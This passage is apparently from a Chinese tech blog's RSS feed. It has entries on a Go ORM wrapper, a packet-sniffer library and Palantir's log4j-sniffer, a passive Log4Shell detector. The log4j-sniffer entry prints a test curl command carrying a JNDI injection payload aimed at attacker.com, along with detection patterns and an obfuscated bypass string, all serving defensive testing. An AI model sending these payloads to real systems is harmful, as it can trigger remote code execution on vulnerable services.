- &lt;code&gt;gormzero.Eq(val)&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; &lt;code&gt;=&lt;/code&gt;
- &lt;code&gt;gormzero.Ne(val)&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; &lt;code&gt;!=&lt;/code&gt;
- &lt;code&gt;gormzero.Gt(val)&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; &lt;code&gt;&amp;gt;&lt;/code&gt;
- &lt;code&gt;gormzero.Lt(val)&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; &lt;code&gt;&amp;lt;&lt;/code&gt;
- &lt;code&gt;gormzero.In(slice)&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; &lt;code&gt;IN (...)&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;4-3-批量操作-batch-operations&quot;&gt;4.3 批量操作 (Batch Operations)&lt;/h3&gt;

&lt;p&gt;在处理大量数据插入或更新时，&lt;code&gt;gorm-zero&lt;/code&gt; 优化了切片处理逻辑，使得批量写入的代码更加简洁，减少了循环调用 &lt;code&gt;Save&lt;/code&gt; 带来的性能损耗。&lt;/p&gt;

&lt;hr&gt;

&lt;h2 id=&quot;5-性能与架构分析&quot;&gt;5. 性能与架构分析&lt;/h2&gt;

&lt;h3 id=&quot;5-1-性能损耗&quot;&gt;5.1 性能损耗&lt;/h3&gt;

&lt;p&gt;很多开发者担心封装层会带来性能下降。实际上，&lt;code&gt;gorm-zero&lt;/code&gt; 只是对 GORM API 的&lt;strong&gt;语法糖封装&lt;/strong&gt;。它在底层依然是调用 &lt;code&gt;*gorm.DB&lt;/code&gt; 的方法。这意味着：
- &lt;strong&gt;时间复杂度&lt;/strong&gt;：没有增加。
- &lt;strong&gt;空间复杂度&lt;/strong&gt;：仅增加了极少量的临时对象分配。
- &lt;strong&gt;结论&lt;/strong&gt;：在 99% 的业务场景下，性能损耗可以忽略不计。&lt;/p&gt;

&lt;h3 id=&quot;5-2-适用场景&quot;&gt;5.2 适用场景&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;中小型项目&lt;/strong&gt;：需要快速迭代，CRUD 逻辑占比 80% 以上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;微服务架构&lt;/strong&gt;：每个服务负责的领域模型简单，追求极致的开发速度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;快速原型开发 (MVP)&lt;/strong&gt;：需要用最快速度搭建出可运行的数据库层。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;5-3-不适用场景&quot;&gt;5.3 不适用场景&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;极复杂的报表查询&lt;/strong&gt;：涉及 5 个以上表 Join、复杂的子查询或窗口函数。在这种情况下，建议直接使用 &lt;code&gt;gz.DB&lt;/code&gt; 获取原生 GORM 实例，或者直接写原生 SQL。&lt;/li&gt;
&lt;/ul&gt;

&lt;hr&gt;

&lt;h2 id=&quot;6-总结-开发者的效率飞跃&quot;&gt;6. 总结：开发者的效率飞跃&lt;/h2&gt;

&lt;p&gt;在 Golang 的工程实践中，我们经常陷入“为了写一个简单的 Update 而写 5 行代码”的窘境。&lt;code&gt;gorm-zero&lt;/code&gt; 的出现，本质上是在 &lt;strong&gt;“灵活性”&lt;/strong&gt; 与 &lt;strong&gt;“便捷性”&lt;/strong&gt; 之间找到了一个极佳的平衡点。&lt;/p&gt;

&lt;p&gt;它没有试图重新发明轮子，而是为 GORM 这个强大的轮子加上了一个“快捷拨盘”。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;如果你希望你的代码库中：&lt;/strong&gt;
- 减少 &lt;code&gt;if err != nil&lt;/code&gt; 的冗余重复。
- 消除大量重复的 &lt;code&gt;.Where().First()&lt;/code&gt; 组合。
- 让新接手的同事一眼就能看出数据库操作的意图。&lt;/p&gt;

&lt;p&gt;那么，&lt;code&gt;gorm-zero&lt;/code&gt; 是一个非常值得尝试的轻量级工具。&lt;/p&gt;

&lt;hr&gt;

&lt;h2 id=&quot;7-快速参考表&quot;&gt;7. 快速参考表&lt;/h2&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;操作&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;原生 GORM&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;gorm-zero&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;按ID更新&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;db.Model(&amp;amp;u).Where(&amp;quot;id=?&amp;quot;,id).Update(...)&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;gz.UpdateByID(&amp;amp;u, id, ...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;条件查询&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;db.Where(&amp;quot;age &amp;gt; ?&amp;quot;, 18).Find(&amp;amp;list)&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;gz.FindList(&amp;amp;u, Condition{&amp;quot;age&amp;quot;: Gt(18)})&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;单条获取&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;db.First(&amp;amp;u, id)&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;gz.GetByID(&amp;amp;u, id)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;删除记录&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;db.Delete(&amp;amp;u, id)&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code&gt;gz.DeleteByID(&amp;amp;u, id)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</description><pubDate>Tue, 03 Nov 2026 02:30:58 +0800</pubDate></item><item><title>Delphi IDE 中英文一键切换助手 - D13.2</title><link>https://www.zelig.cn/devel-tool/1456.html</link><description>&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;/zb_users/upload/2026/11/20261102184402cjibqbbawd.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;span style=&quot;font-family:宋体&quot;&gt;【适用】：&lt;/span&gt;37.0.60952.8797&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;br/&gt;</description><pubDate>Mon, 02 Nov 2026 18:41:28 +0800</pubDate></item><item><title>警惕 Log4Shell 漏洞：使用 Golang 编写的 log4j-sniffer 快速扫描内网风险</title><link>https://www.zelig.cn/golang/1455.html</link><description>&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2026/10/20261001205010efbipczydc.svg&quot; alt=&quot;警惕 Log4Shell 漏洞：使用 Golang 编写的 log4j-sniffer 快速扫描内网风险&quot;&gt;&lt;/p&gt;&lt;h3 id=&quot;项目背景-log4shell-的阴影&quot;&gt;项目背景：Log4Shell 的阴影&lt;/h3&gt;

&lt;p&gt;在网络安全历史上，CVE-2021-44228（即 Log4j 漏洞）无疑是最具破坏性的漏洞之一。由于 Log4j 在处理特定格式的字符串时会触发 JNDI 查找，导致远程代码执行（RCE），无数的企业级 Java 应用瞬间成为了攻击者的目标。&lt;/p&gt;

&lt;p&gt;然而，对于大型企业而言，最头疼的不是修复已知服务器，而是&lt;strong&gt;“不知道哪里还跑着受影响的 Java 应用”&lt;/strong&gt;。在复杂的内网环境中，许多遗留系统、第三方中间件或影子 IT 资产隐藏在深处。传统的静态扫描（扫描磁盘文件）无法发现动态运行的内存漏洞，而主动的漏洞扫描（发送 Payload）可能会导致生产环境崩溃。&lt;/p&gt;

&lt;p&gt;这正是 &lt;code&gt;log4j-sniffer&lt;/code&gt; 诞生的原因。&lt;/p&gt;

&lt;hr&gt;

&lt;h3 id=&quot;什么是-log4j-sniffer&quot;&gt;什么是 log4j-sniffer？&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;log4j-sniffer&lt;/code&gt; 是由 Palantir 开发的一个基于 Golang 的网络嗅探工具。它的核心逻辑非常巧妙：&lt;strong&gt;它不主动攻击，而是通过“监听”网络流量，捕捉那些试图利用 Log4j 漏洞的攻击载荷（Payload）。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;简单来说，它像是一个部署在网络关键节点的“哨兵”。当攻击者向你的内网发送类似 &lt;code&gt;${jndi:ldap://...}&lt;/code&gt; 的请求时，&lt;code&gt;log4j-sniffer&lt;/code&gt; 会立即捕捉到这个特征，并告诉你：&lt;strong&gt;“哪个 IP 的哪个端口正在被攻击，且该服务极有可能存在 Log4j 漏洞。”&lt;/strong&gt;&lt;/p&gt;

&lt;h4 id=&quot;核心技术原理&quot;&gt;核心技术原理&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;流量镜像/监听&lt;/strong&gt;：利用 &lt;code&gt;gopacket&lt;/code&gt; 库，直接在网络接口（NIC）上捕获 TCP/UDP 数据包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特征匹配&lt;/strong&gt;：对捕获的 Payload 进行实时扫描，匹配 Log4j 漏洞特有的 JNDI 注入模式（如 &lt;code&gt;${jndi:ldap://&lt;/code&gt;、&lt;code&gt;${jndi:rmi://&lt;/code&gt; 等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;被动发现&lt;/strong&gt;：通过观察攻击流量，反向推导出内部受影响的资产清单，而无需对每个服务进行压力测试。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;h3 id=&quot;为什么选择-golang-实现&quot;&gt;为什么选择 Golang 实现？&lt;/h3&gt;

&lt;p&gt;Palantir 选择 Golang 而非 Python 或 C++，主要基于以下考量：
- &lt;strong&gt;高性能并发&lt;/strong&gt;：网络嗅探涉及海量的数据包处理，Golang 的 Goroutine 能够高效地并行处理多个数据流。
- &lt;strong&gt;静态编译&lt;/strong&gt;：编译后生成单个二进制文件，无需安装复杂的运行时环境，方便快速部署到各种 Linux 发行版。
- &lt;strong&gt;强大的网络库&lt;/strong&gt;：&lt;code&gt;gopacket&lt;/code&gt; 提供了对 pcap 的优秀封装，使得底层包分析变得简单且高效。&lt;/p&gt;

&lt;hr&gt;

&lt;h3 id=&quot;快速上手实例&quot;&gt;快速上手实例&lt;/h3&gt;

&lt;h4 id=&quot;1-环境准备&quot;&gt;1. 环境准备&lt;/h4&gt;

&lt;p&gt;由于该工具需要直接访问网络接口，你需要安装 &lt;code&gt;libpcap&lt;/code&gt; 开发库：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ubuntu/Debian:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;sudo apt-get install libpcap-dev
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;CentOS/RHEL:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;sudo yum install libpcap-devel
&lt;/pre&gt;
&lt;h4 id=&quot;2-安装与编译&quot;&gt;2. 安装与编译&lt;/h4&gt;

&lt;p&gt;克隆项目并编译：&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;git clone https://github.com/palantir/log4j-sniffer.git
cd log4j-sniffer
go build -o log4j-sniffer main.go
&lt;/pre&gt;
&lt;h4 id=&quot;3-运行嗅探&quot;&gt;3. 运行嗅探&lt;/h4&gt;

&lt;p&gt;你需要以 root 权限运行，以便程序能够进入混杂模式（Promiscuous Mode）监听网卡。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;基本运行命令：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;sudo ./log4j-sniffer -i eth0
&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;参数说明：&lt;code&gt;-i eth0&lt;/code&gt; 指定监听的网卡名称。&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;4-模拟攻击测试-验证效果&quot;&gt;4. 模拟攻击测试（验证效果）&lt;/h4&gt;

&lt;p&gt;在另一台机器上，向被监听的服务器发送一个简单的 Log4j 探测 Payload（例如通过 HTTP Header）：&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;curl -H &amp;#34;User-Agent: ${jndi:ldap://attacker.com/a}&amp;#34; http://&amp;lt;target-ip&amp;gt;:8080/
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;log4j-sniffer&lt;/code&gt; 的输出结果：&lt;/strong&gt;
当攻击发生时，终端会立即弹出警报：&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;[!] Log4j exploit attempt detected!
Source IP: 192.168.1.50
Destination IP: 192.168.1.100
Destination Port: 8080
Payload: ${jndi:ldap://attacker.com/a}
&lt;/pre&gt;
&lt;hr&gt;

&lt;h3 id=&quot;部署场景分析&quot;&gt;部署场景分析&lt;/h3&gt;

&lt;h4 id=&quot;场景-a-核心交换机镜像端口-span-mirror-port&quot;&gt;场景 A：核心交换机镜像端口（SPAN/Mirror Port）&lt;/h4&gt;

&lt;p&gt;将 &lt;code&gt;log4j-sniffer&lt;/code&gt; 部署在一台连接到交换机镜像端口的服务器上。这样，所有经过该交换机的流量都会被复制一份发送给嗅探器。你可以在不干扰任何业务的情况下，监控整个数据中心的 Log4j 攻击情况。&lt;/p&gt;

&lt;h4 id=&quot;场景-b-k8s-集群节点&quot;&gt;场景 B：K8s 集群节点&lt;/h4&gt;

&lt;p&gt;在 Kubernetes 节点的宿主机上运行，监听 Pod 之间的东西向流量（East-West Traffic）。这能帮你快速定位集群内部哪个微服务被攻破并正在尝试横向移动。&lt;/p&gt;

&lt;h4 id=&quot;场景-c-边界防火墙内侧&quot;&gt;场景 C：边界防火墙内侧&lt;/h4&gt;

&lt;p&gt;部署在防火墙之后、应用服务器之前，实时监控来自外部的恶意探测。&lt;/p&gt;

&lt;hr&gt;

&lt;h3 id=&quot;局限性与注意事项&quot;&gt;局限性与注意事项&lt;/h3&gt;

&lt;p&gt;虽然 &lt;code&gt;log4j-sniffer&lt;/code&gt; 非常强大，但在使用时需注意以下几点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;加密流量（HTTPS/TLS）&lt;/strong&gt;：
这是所有被动嗅探工具的共同痛点。如果流量在进入嗅探器之前已经过 TLS 加密，&lt;code&gt;log4j-sniffer&lt;/code&gt; 无法看到明文 Payload。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解决方案&lt;/strong&gt;：将工具部署在 &lt;strong&gt;负载均衡器（LB）&lt;/strong&gt; 或 &lt;strong&gt;反向代理（Nginx/Envoy）&lt;/strong&gt; 之后，在流量解密后再进行嗅探。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;混淆绕过&lt;/strong&gt;：
攻击者可能会使用 &lt;code&gt;${${lower:j}ndi:...}&lt;/code&gt; 等混淆手段来绕过简单的字符串匹配。虽然该项目涵盖了常见模式，但面对极高水平的对抗时，仍需结合 WAF 等深度检测工具。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;权限要求&lt;/strong&gt;：
必须具备 &lt;code&gt;CAP_NET_RAW&lt;/code&gt; 权限或 root 权限才能捕获原始数据包。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;h3 id=&quot;总结&quot;&gt;总结&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;log4j-sniffer&lt;/code&gt; 提供了一种&lt;strong&gt;“以攻促防”&lt;/strong&gt;的思路。它不试图去穷举所有可能的漏洞点，而是利用攻击者的行为作为信号，精准地勾勒出内网的风险地图。&lt;/p&gt;

&lt;p&gt;对于安全运维人员来说，这是一个轻量级、无侵入且部署极快的应急响应工具。在面对类似 Log4j 这种大规模、高危的零日漏洞时，这种被动监测能力往往比主动扫描更能提供全局视角的安全洞察。&lt;/p&gt;
</description><pubDate>Mon, 02 Nov 2026 08:04:58 +0800</pubDate></item><item><title>Golang 流量嗅探利器：深入解析 sniffer 如何实现高性能网络包捕获与分析</title><link>https://www.zelig.cn/golang/1454.html</link><description>&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2026/10/20261001204958zhmulwvwrw.svg&quot; alt=&quot;Golang 流量嗅探利器：深入解析 sniffer 如何实现高性能网络包捕获与分析&quot;&gt;&lt;/p&gt;&lt;h3 id=&quot;项目概述&quot;&gt;项目概述&lt;/h3&gt;

&lt;p&gt;在网络安全分析、协议调试以及微服务监控领域，能够实时捕获并解析网络数据包（Packet Sniffing）是一项核心能力。&lt;code&gt;sniffer&lt;/code&gt; 是一个基于 Golang 开发的轻量级网络流量嗅探工具，旨在为开发者提供一个简单、高效且可扩展的框架，用于捕获链路层数据并将其转化为可分析的结构化信息。&lt;/p&gt;

&lt;p&gt;该项目通过封装底层的网络捕获库（如 &lt;code&gt;gopacket&lt;/code&gt;），屏蔽了复杂的 C 语言绑定和内存管理细节，让开发者能够使用纯粹的 Go 语言逻辑来定义过滤规则和处理回调。&lt;/p&gt;

&lt;hr&gt;

&lt;h3 id=&quot;核心技术栈&quot;&gt;核心技术栈&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sniffer&lt;/code&gt; 的实现依赖于以下关键技术：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;gopacket&lt;/strong&gt;: 这是 Go 语言中处理网络包的事实标准库，它提供了对 &lt;code&gt;libpcap&lt;/code&gt; (Linux/macOS) 和 &lt;code&gt;WinPcap/Npcap&lt;/code&gt; (Windows) 的封装。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BPF (Berkeley Packet Filter)&lt;/strong&gt;: 项目支持 BPF 语法，允许在内核空间过滤数据包，极大地降低了用户空间的 CPU 负载。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;并发模型&lt;/strong&gt;: 利用 Go 的 &lt;code&gt;channel&lt;/code&gt; 和 &lt;code&gt;goroutine&lt;/code&gt; 实现捕获与处理的解耦，确保在高吞吐量环境下不会因为处理逻辑过慢而导致丢包。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;h3 id=&quot;关键功能特性&quot;&gt;关键功能特性&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;多网卡支持&lt;/strong&gt;：能够自动检测或手动指定监听的网卡接口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灵活过滤&lt;/strong&gt;：支持标准的 BPF 过滤表达式（例如 &lt;code&gt;tcp port 80&lt;/code&gt; 或 &lt;code&gt;host 192.168.1.1&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多层协议解析&lt;/strong&gt;：从以太网层 (Ethernet) &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; IP 层 &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; TCP/UDP 层 &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; 应用层，提供逐层递进的解析能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实时流处理&lt;/strong&gt;：支持将捕获到的数据实时推送到自定义的处理函数中，方便集成到告警系统或数据库。&lt;/li&gt;
&lt;/ul&gt;

&lt;hr&gt;

&lt;h3 id=&quot;快速上手实例&quot;&gt;快速上手实例&lt;/h3&gt;

&lt;p&gt;为了让你快速理解 &lt;code&gt;sniffer&lt;/code&gt; 的使用方式，下面提供一个典型的实现场景：&lt;strong&gt;捕获特定端口的 HTTP 请求并打印源 IP。&lt;/strong&gt;&lt;/p&gt;

&lt;h4 id=&quot;1-环境准备&quot;&gt;1. 环境准备&lt;/h4&gt;

&lt;p&gt;由于项目依赖 &lt;code&gt;libpcap&lt;/code&gt;，在运行前请确保系统已安装相关库：
*   &lt;strong&gt;Ubuntu/Debian&lt;/strong&gt;: &lt;code&gt;sudo apt-get install libpcap-dev&lt;/code&gt;
*   &lt;strong&gt;macOS&lt;/strong&gt;: 默认安装，或使用 &lt;code&gt;brew install libpcap&lt;/code&gt;
*   &lt;strong&gt;Windows&lt;/strong&gt;: 安装 &lt;a href=&quot;https://nmap.org/npcap/&quot;&gt;Npcap&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;2-基础代码实现&quot;&gt;2. 基础代码实现&lt;/h4&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;package main

import (
	&amp;#34;fmt&amp;#34;
	&amp;#34;log&amp;#34;
	&amp;#34;github.com/chenjiandongx/sniffer&amp;#34;
)

func main() {
	// 1. 初始化嗅探器配置
	// device: 监听的网卡名称，如 &amp;#34;eth0&amp;#34; 或 &amp;#34;en0&amp;#34;
	// filter: BPF 过滤表达式，这里只捕获 80 端口的 TCP 流量
	config := sniffer.Config{
		Device: &amp;#34;eth0&amp;#34;, 
		Filter: &amp;#34;tcp port 80&amp;#34;,
		Promiscuous: true, // 开启混杂模式，捕获非本机目的地的包
	}

	// 2. 创建 sniffer 实例
	s, err := sniffer.New(config)
	if err != nil {
		log.Fatalf(&amp;#34;初始化失败: %v&amp;#34;, err)
	}

	fmt.Println(&amp;#34;开始嗅探流量... 按 Ctrl+C 停止&amp;#34;)

	// 3. 定义处理回调函数
	// packet 是解析后的数据包对象
	s.OnPacket(func(packet sniffer.Packet) {
		// 提取网络层信息
		if packet.IPLayer != nil {
			srcIP := packet.IPLayer.SrcIP
			dstIP := packet.IPLayer.DstIP
			fmt.Printf(&amp;#34;[+] 捕获到数据包: %s -&amp;gt; %s | 长度: %d bytes\n&amp;#34;, 
				srcIP, dstIP, packet.Length)
		}

		// 如果是 TCP，可以进一步分析端口
		if packet.TransportLayer != nil {
			fmt.Printf(&amp;#34;    协议: %s | 源端口: %d | 目的端口: %d\n&amp;#34;, 
				packet.TransportLayer.Protocol, 
				packet.TransportLayer.SrcPort, 
				packet.TransportLayer.DstPort)
		}
	})

	// 4. 启动监听（阻塞调用）
	if err := s.Start(); err != nil {
		log.Fatalf(&amp;#34;运行出错: %v&amp;#34;, err)
	}
}
&lt;/pre&gt;
&lt;hr&gt;

&lt;h3 id=&quot;深度解析-工作原理&quot;&gt;深度解析：工作原理&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sniffer&lt;/code&gt; 的内部工作流程可以概括为以下四个阶段：&lt;/p&gt;

&lt;h4 id=&quot;第一阶段-句柄创建-handle-creation&quot;&gt;第一阶段：句柄创建 (Handle Creation)&lt;/h4&gt;

&lt;p&gt;程序调用 &lt;code&gt;pcap.OpenLive&lt;/code&gt; 打开指定的网络接口。此时，它会申请一个内核缓冲区，用于暂存从网卡驱动程序传来的原始二进制流。&lt;/p&gt;

&lt;h4 id=&quot;第二阶段-内核过滤-kernel-filtering&quot;&gt;第二阶段：内核过滤 (Kernel Filtering)&lt;/h4&gt;

&lt;p&gt;当你设置 &lt;code&gt;Filter: &amp;quot;tcp port 80&amp;quot;&lt;/code&gt; 时，&lt;code&gt;sniffer&lt;/code&gt; 将该字符串编译为 BPF 字节码并注入内核。这意味着&lt;strong&gt;不符合条件的包在内核阶段就被丢弃&lt;/strong&gt;，不会进入 Go 程序的内存空间，这是保证高性能的关键。&lt;/p&gt;

&lt;h4 id=&quot;第三阶段-数据包解码-decoding&quot;&gt;第三阶段：数据包解码 (Decoding)&lt;/h4&gt;

&lt;p&gt;捕获到的原始字节流（Raw Bytes）通过 &lt;code&gt;gopacket&lt;/code&gt; 的 &lt;code&gt;PacketSource&lt;/code&gt; 进行解码。&lt;code&gt;sniffer&lt;/code&gt; 将其映射为易于操作的结构体：
*   &lt;code&gt;Ethernet&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; MAC 地址
*   &lt;code&gt;IPv4/IPv6&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; IP 地址、TTL、协议类型
*   &lt;code&gt;TCP/UDP&lt;/code&gt; &lt;span class=&quot;math inline&quot;&gt;\(\rightarrow\)&lt;/span&gt; 端口、序列号、标志位 (SYN/ACK/FIN)&lt;/p&gt;

&lt;h4 id=&quot;第四阶段-异步分发-dispatching&quot;&gt;第四阶段：异步分发 (Dispatching)&lt;/h4&gt;

&lt;p&gt;为了防止处理逻辑（如写入数据库或发送 Webhook）阻塞捕获进程，&lt;code&gt;sniffer&lt;/code&gt; 采用了生产者-消费者模型。捕获线程将解析后的 &lt;code&gt;Packet&lt;/code&gt; 对象放入 Channel，由回调函数在独立的 Goroutine 中异步处理。&lt;/p&gt;

&lt;hr&gt;

&lt;h3 id=&quot;适用场景&quot;&gt;适用场景&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内网资产扫描分析&lt;/strong&gt;：通过监听流量，实时发现内网中新出现的设备或异常的端口扫描行为。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自定义协议分析&lt;/strong&gt;：对于非标准协议，可以通过 &lt;code&gt;sniffer&lt;/code&gt; 捕获原始 Payload，结合 Go 的 &lt;code&gt;binary&lt;/code&gt; 包进行自定义反序列化。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;轻量级 IDS (入侵检测系统)&lt;/strong&gt;：编写简单的规则集（如：检测短时间内大量 SYN 包），实现基础的 DDoS 攻击预警。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API 流量审计&lt;/strong&gt;：在测试环境下，无需修改代码即可监控微服务之间的 HTTP/gRPC 调用链路。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;性能优化建议&quot;&gt;性能优化建议&lt;/h3&gt;

&lt;p&gt;如果你在极高流量（Gbps 级别）的环境下使用，建议采取以下优化措施：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;精简 BPF 过滤&lt;/strong&gt;：过滤条件越具体，内核丢弃的包越多，用户态压力越小。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免在回调中进行同步 IO&lt;/strong&gt;：不要在 &lt;code&gt;OnPacket&lt;/code&gt; 中直接写文件或请求 API，应将数据写入一个带缓冲的 &lt;code&gt;channel&lt;/code&gt;，由后台 Worker 批量处理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制捕获长度 (Snaplen)&lt;/strong&gt;：如果只需要分析协议头而不需要 Payload，可以通过配置减小 &lt;code&gt;Snaplen&lt;/code&gt;，降低内存拷贝开销。&lt;/li&gt;
&lt;/ul&gt;
</description><pubDate>Mon, 02 Nov 2026 05:13:58 +0800</pubDate></item><item><title>深入解析 Oracle-db-appdev-monitoring：用 Golang 构建企业级数据库性能监控体系</title><link>https://www.zelig.cn/golang/1453.html</link><description>&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2026/10/20261001204946uovcyeqnyn.png&quot; alt=&quot;深入解析 Oracle-db-appdev-monitoring：用 Golang 构建企业级数据库性能监控体系&quot;&gt;&lt;/p&gt;&lt;h1 id=&quot;深入解析-oracle-db-appdev-monitoring-用-golang-构建企业级数据库性能监控体系&quot;&gt;深入解析 Oracle-db-appdev-monitoring：用 Golang 构建企业级数据库性能监控体系&lt;/h1&gt;

